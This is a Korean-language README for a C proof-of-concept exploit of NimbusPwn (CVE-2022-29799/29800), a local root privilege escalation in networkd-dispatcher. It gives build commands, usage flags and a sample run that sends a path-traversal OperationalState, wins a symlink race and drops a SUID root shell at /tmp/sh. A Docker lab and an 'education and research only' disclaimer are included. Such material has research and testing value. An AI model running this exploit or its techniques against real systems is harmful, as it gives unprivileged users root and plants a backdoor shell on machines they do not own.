
NimbusPwn (CVE-2022-29799/29800) — C 언어로 작성된 로컬 권한 상승 PoC입니다.
networkd-dispatcher의 로컬 권한 상승 취약점인 NimbusPwn에 대한 C PoC입니다. 권한이 없는 사용자가 org.freedesktop.network1 D-Bus 이름을 선점하고 조작된 OperationalState를 전송합니다. 루트 데몬은 이를 검증하지 않으며(CVE-2022-29799, 경로 순회), 스크립트 디렉터리의 심볼릭 링크 경쟁 조건(CVE-2022-29800, TOCTOU)으로 인해 공격자가 심어 놓은 스크립트가 루트 권한으로 실행되어 SUID 루트 셸을 생성합니다.
영향받는 버전: networkd-dispatcher < 2.1 (2.1에서 수정됨). Linux 전용. 시스템 D-Bus와 선점 가능한 org.freedesktop.network1 이름이 필요합니다.
Linux(Kali 또는 대상 시스템)에서 빌드합니다. macOS/Windows에서는 빌드하거나 실행할 수 없습니다.
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
[!NOTE] 다른 배포판:
dnf install gcc dbus-devel pkgconf(Fedora/RHEL) 또는pacman -S gcc dbus pkgconf(Arch). 컴파일 명령은 동일합니다.
취약한 호스트에서 권한이 없는 사용자로 실행합니다.
./nimbuspwn [-c] [-s SHELL]
-c, --check non-breaking vuln check, no exploitation
-s, --shell SHELL shell to SUID-copy and spawn as root (default /bin/sh)
-h, --help show help
먼저 확인합니다(안전하며, 아무것도 심지 않고 경쟁 조건을 유발하지 않음):
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)
그런 다음 익스플로잇합니다:
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)
경쟁 조건은 비결정적이므로 재시도합니다(기본 10회). /bin/sh가 없는 호스트에서는 -s /bin/bash를 사용하세요.
자체 포함된 취약한 실습 환경(Ubuntu 20.04 + 취약한 networkd-dispatcher 2.0)입니다. --privileged나 호스트 네트워킹이 필요 없습니다.
docker compose build
docker compose run --rm nimbuspwn-lab
# inside, as user 'pwn':
./nimbuspwn
2.0 디스패처는 docker/에 포함되어 있어 빌드가 외부 다운로드에 의존하지 않습니다. 디스패처 로그: /var/log/dispatcher.log.
이 도구는 교육 및 연구 목적으로만 제공됩니다. 제작자는 이 도구로 인한 오용이나 피해에 대해 어떠한 책임도 지지 않습니다.